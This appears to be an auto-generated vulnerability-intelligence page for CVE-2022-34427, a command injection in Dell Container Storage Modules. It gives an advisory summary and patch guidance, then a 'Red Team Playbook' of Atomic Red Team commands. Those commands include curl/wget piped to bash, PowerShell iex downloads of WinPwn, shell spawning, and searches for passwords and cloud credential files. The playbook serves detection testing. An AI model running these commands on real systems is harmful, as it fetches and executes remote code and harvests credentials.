CVE-2022-34427
Overview
This vulnerability is an OS command injection affecting Dell Container Storage Modules version 1.2. The root cause lies in improper input validation within the goiscsi and gobrick libraries, which handle command execution functionality. These components fail to sanitize user-supplied input, allowing injection of arbitrary OS commands.
Vulnerability Description
Dell Container Storage Modules 1.2 contains an OS Command Injection in goiscsi and gobrick libraries. A remote unauthenticated attacker could exploit this vulnerability leading to modification of intended OS command execution.
Impact
An attacker with network access and limited privileges can exploit this vulnerability to execute arbitrary OS commands on the affected system without user interaction. This can lead to full compromise of the host, including unauthorized data access, modification, or disruption of services. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates remote network exploitation with low attack complexity and no user interaction required, increasing the risk of lateral movement within an enterprise environment.
Solution
Dell has released security updates addressing this vulnerability in Dell Container Storage Modules as detailed in advisory DSA-2022-259 available at https://www.dell.com/support/kbdoc/en-vc/000203352/dsa-2022-259-dell-container-storage-modules-security-update-for-multiple-vulnerabilities. Users should upgrade to the fixed version of Container Storage Modules 1.2 or later. Applying the vendor-provided patches is the recommended remediation to eliminate the command injection flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Dell Container Storage Modules 1.2 is characterized by an OS Command Injection flaw within the goiscsi and gobrick libraries. This type of vulnerability allows an attacker to manipulate the execution of operating system commands by injecting arbitrary commands into a vulnerable application. The flaw arises from improper validation of user inputs, which can be exploited to execute unintended commands with the privileges of the application. This can lead to severe consequences, including unauthorized access to system resources, data manipulation, and even complete system compromise.
Attack vectors for this vulnerability are particularly concerning due to the potential for remote exploitation. An unauthenticated attacker could leverage this flaw by sending specially crafted requests to the affected modules. For instance, if the application processes user input without adequate sanitization, an attacker could embed malicious commands within the input. Once executed, these commands could perform a variety of malicious actions, such as altering system configurations, accessing sensitive data, or deploying additional malware. The ability to execute commands remotely without authentication significantly amplifies the risk, as it lowers the barrier for attackers to exploit the vulnerability.
The real-world impact of this vulnerability can be profound, especially for organizations relying on Dell Container Storage Modules for their data storage solutions. The potential for unauthorized command execution poses a significant business risk, as it could lead to data breaches, loss of data integrity, and disruption of services. Organizations may face regulatory penalties if sensitive information is compromised, and the reputational damage from such incidents can have long-lasting effects. Furthermore, the financial implications of remediation efforts, legal liabilities, and potential loss of customer trust can be substantial, making it imperative for organizations to prioritize addressing this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and vulnerability scanning can help identify instances of the affected software in use. Additionally, employing intrusion detection systems (IDS) can aid in monitoring for unusual command executions that may indicate exploitation attempts. It is crucial to apply patches and updates provided by the vendor as soon as they are available, as these typically contain fixes for known vulnerabilities. Furthermore, organizations should enforce strict input validation and sanitization practices within their applications to prevent command injection attacks. Implementing the principle of least privilege can also limit the potential impact of an exploit by restricting the permissions of the application and its components.
In conclusion, the OS Command Injection vulnerability in Dell Container Storage Modules 1.2 presents a significant threat to organizations utilizing this software. The ease of exploitation and the potential for severe consequences necessitate immediate attention from cybersecurity professionals. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities in the future. Proactive measures and a commitment to security best practices are essential in safeguarding sensitive data and maintaining operational integrity in an increasingly complex threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Container Storage Modules | All |
cpe:2.3:a:dell:container_storage_modules:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
43%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-34427 |
| dell.com |
GitHub CVE
|
https://www.dell.com/support/kbdoc/en-vc/000203352/dsa-2022-259-dell-container-storage-modules-security-update-for-multiple-vulnerabilities |